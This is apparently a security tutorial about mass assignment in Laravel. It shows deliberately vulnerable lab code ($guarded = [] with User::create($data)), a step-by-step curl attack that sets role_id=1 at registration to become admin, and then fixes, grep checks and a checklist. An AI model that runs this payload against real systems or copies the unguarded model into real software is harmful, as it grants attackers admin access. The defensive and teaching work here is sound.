Mass Assignment in Laravel Eloquent: Turning a Missing $fillable into Instant Admin
CWE-915 · OWASP A04:2021 · Insecure Design
When an Eloquent model has no $fillable array and the controller passes
$request->all() straight into Model::create(), an attacker
can inject any column name into the INSERT statement. If your users table
has a role_id column, anyone can register as an admin with one
extra POST parameter. No credentials. No brute force. No exploit chain needed.
Just reading the Laravel docs to learn the column naming convention.
Where This Sits in the Kill Chain
Mass assignment is a lateral escalation primitive. It doesn't get an attacker in the door on its own, but it turns the publicly accessible registration endpoint into an instant privilege escalation. In ArtisanBreach LLC, it's the entry point:
Mass assignment is exploitable by any unauthenticated person who can reach the registration page. Zero prior knowledge required.
Vulnerability Classification
| CWE | CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes |
|---|---|
| OWASP Top 10 | A04:2021, Insecure Design |
| OWASP API Security | API3:2023, Broken Object Property Level Authorization |
| Affected versions | All Laravel versions when $guarded = [] (or when Model::unguard() has been called) and $fillable is absent |
| Historical precedent | GitHub mass assignment breach (2012). Egor Homakov pushed a commit to the Ruby on Rails repository using only his own account, bypassing every ACL. Same vulnerability class, different framework, same root cause. |
The Code That Causes This (and Why It Feels Fine)
Open any Laravel tutorial from roughly 2015 to 2023 and you'll find a registration controller like this:
// The “correct” version you see in older tutorials
protected function create(array $data)
{
return User::create([
'name' => $data['name'],
'email' => $data['email'],
'password' => Hash::make($data['password']),
]);
}
That's safe. The three fields are explicitly listed. Nothing extra gets through. But at some point, someone decides it's repetitive and refactors it to:
// “Why repeat myself? The validator already checked the input.”
protected function create(array $data)
{
return User::create($data); // the entire request body goes straight to the ORM
}
This feels completely reasonable. The validator runs first. The form only shows
three fields. Nobody's going to type role_id into a registration form,
right?
Developers think about what the form shows the user. Attackers think about what the HTTP endpoint accepts. Those are never the same list.
Laravel's default is $guarded = ['*'], every attribute is guarded
by default. For this vulnerability to exist, someone must have explicitly set
protected $guarded = [] on the model or called
Model::unguard() globally. This is a common real-world mistake:
developers hit the MassAssignmentException during prototyping,
set $guarded = [] to “make it work,” and forget to lock it down
before shipping.
The Vulnerable Code in ArtisanBreach
ModelNo mass-assignment guard defined
// app/Models/User.php
class User extends Authenticatable
{
use HasFactory, Notifiable;
// No $fillable, and $guarded is an empty array.
// This means NOTHING is guarded. Every column is mass-assignable.
// A common mistake: devs set this to silence MassAssignmentException during dev
// and never revert it before shipping to production.
protected $guarded = [];
protected $hidden = ['password', 'remember_token'];
protected function casts(): array
{
return [
'email_verified_at' => 'datetime',
'password' => 'hashed',
];
}
public function role(): BelongsTo
{
return $this->belongsTo(Role::class);
}
}
Migration
role_id has privilege meaning
// database/migrations/0001_01_01_000000_create_users_table.php
Schema::create('users', function (Blueprint $table) {
$table->id();
$table->foreignId('role_id')->constrained()->default(2); // 2 = standard user, 1 = admin
$table->string('name');
$table->string('email')->unique();
$table->string('password');
$table->rememberToken();
$table->timestamps();
});
Controller
Full data array passed to create()
// app/Http/Controllers/Auth/RegisterController.php
protected function create(array $data)
{
// $data === $request->all() from the RegistersUsers trait.
// Any key in $data that matches a column name gets written to the database.
return User::create($data);
}
The SQL Eloquent generates when an attacker sends role_id=1:
INSERT INTO `users` (`name`, `email`, `password`, `role_id`, `updated_at`, `created_at`)
VALUES ('Attacker', 'attacker@evil.com', '$2y$12$...', 1, '2026-06-16 00:00:00', '2026-06-16 00:00:00')
-- ^
-- attacker-supplied
The Attack
And here's how it looks on the command line:
Step 1Confirm registration is open:
curl -I http://localhost:8084/register
# HTTP/1.1 200 OK
Step 2
Register with role_id=1 tucked in at the end:
curl -s -X POST http://localhost:8084/register \
-H "Content-Type: application/x-www-form-urlencoded" \
-c cookies.txt \
-b cookies.txt \
--data-urlencode "_token=$(curl -s http://localhost:8084/register | grep -oP '(?<=_token" value=")[^"]*')" \
--data-urlencode "name=Attacker" \
--data-urlencode "email=attacker@evil.com" \
--data-urlencode "password=Test1234!" \
--data-urlencode "password_confirmation=Test1234!" \
--data-urlencode "role_id=1"
# Response: 302 Found -> /home
Step 3
Verify the role actually stuck:
php artisan tinker --execute "
\$u = \App\Models\User::where('email', 'attacker@evil.com')->first();
echo 'role_id: ' . \$u->role_id . PHP_EOL; // role_id: 1
echo 'role: ' . \$u->role->name . PHP_EOL; // role: Administrator
"
Step 4
Walk into the admin panel:
curl -b cookies.txt -L http://localhost:8084/admin
# HTTP/1.1 200 OK, full admin dashboard
What an Attacker Can Do With This
- Admin account created with credentials only they know
- Full access to every
/admin/*route - User management: reset passwords, deactivate accounts
- Content management: modify or delete anything
- Maintenance mode access, targeted denial-of-service
- Settings pages that expose additional secrets
- File upload controls, path to RCE via admin editor
- Persistence: the account survives deployments and restarts
The Fix
Add $fillable to the model
// app/Models/User.php
class User extends Authenticatable
{
use HasFactory, Notifiable;
// Explicit whitelist. Only these columns can be mass-assigned.
protected $fillable = [
'name',
'email',
'password',
// role_id intentionally absent
];
protected $hidden = ['password', 'remember_token'];
protected function casts(): array
{
return [
'email_verified_at' => 'datetime',
'password' => 'hashed',
];
}
}
$guarded = ['role_id'] is a blacklist. You have to manually update it
every time a new sensitive column lands in the table. $fillable is a
whitelist: closed by default, new columns are blocked unless you explicitly allow them.
Default-deny always beats default-allow.
Extract only the fields you need
// app/Http/Controllers/Auth/RegisterController.php
protected function create(array $data): User
{
// Name exactly what this controller writes. Nothing else gets through,
// regardless of what arrives in the request.
return User::create([
'name' => $data['name'],
'email' => $data['email'],
'password' => Hash::make($data['password']),
]);
}
Why you want both, not just one
| Scenario | Only $fillable |
Only explicit controller | Both |
|---|---|---|---|
Attacker sends role_id=1 at registration |
Blocked | Blocked | Blocked at both layers |
Developer adds role_id to $fillable for an admin feature, forgets registration |
Vulnerable again | Controller still explicit | Controller catches it |
Developer refactors controller back to User::create($data) |
Model still guards | Vulnerable again | Model catches it |
Finding It in Your Codebase
Two greps. Run them against any Laravel project:
# 1. Models with no mass-assignment guard at all
grep -rL '\$fillable\|\$guarded' app/Models/
# Anything in the output is a candidate for review
# 2. Controllers passing unfiltered request data to create() or fill()
grep -rn 'create(\$request\|create(\$data\|fill(\$request\|fill(\$data' \
app/Http/Controllers/
# Each match needs manual inspection: is $data filtered before it gets here?
If a model shows up in both results (no guard and controller passing full request data), that's a confirmed mass assignment vulnerability.
Laravel also ships a development guard for mass-assignment violations:
// app/Providers/AppServiceProvider.php
public function boot(): void
{
// Throws MassAssignmentException when an attribute not listed in $fillable
// is passed. Run it in non-production so violations surface before they ship.
Model::preventSilentlyDiscardingAttributes(! app()->isProduction());
}
preventSilentlyDiscardingAttributes() checks against the
$fillable whitelist. If $guarded = [] and
$fillable is absent, no attribute is discarded,
everything is accepted. This method won't catch the vulnerability in the
state shown in this post. It's only effective after you've added
$fillable, as a safety net against stray extra parameters
sneaking through.
Remediation Checklist
$fillable to every Eloquent model. List only the columns that should be mass-assignable.
Model::create() and Model::fill() call in your controllers. Replace $request->all() with explicit field arrays.
Model::preventSilentlyDiscardingAttributes() in non-production environments so violations surface at development time, not in prod.
role_id=1 to /register and asserts the created user's role_id is the default (2, not 1).
role_id values.
$fillable (whitelist) over $guarded (blacklist). New columns are blocked by default with a whitelist; with a blacklist, you have to remember to update it every single time.
The Takeaway
This isn't an obscure gotcha buried in PHP internals. It's the direct consequence of the most natural-feeling refactor a Laravel developer makes when they want to keep a controller lean. The exploit requires no tools, no timing, and no prior access: just a browser and the knowledge that Laravel's column naming conventions are in the public docs.
The GitHub breach of 2012 permanently changed how Ruby on Rails handles mass
assignment. Laravel learned the same lesson and added the guard system, but left
it up to the developer to actually configure it. A model with no $fillable
is an open INSERT statement, waiting for anyone who thinks to read the migration file.
The fix is four lines. The test is ten. The cost of not doing it is a free admin account for anyone who reads this post and has five minutes.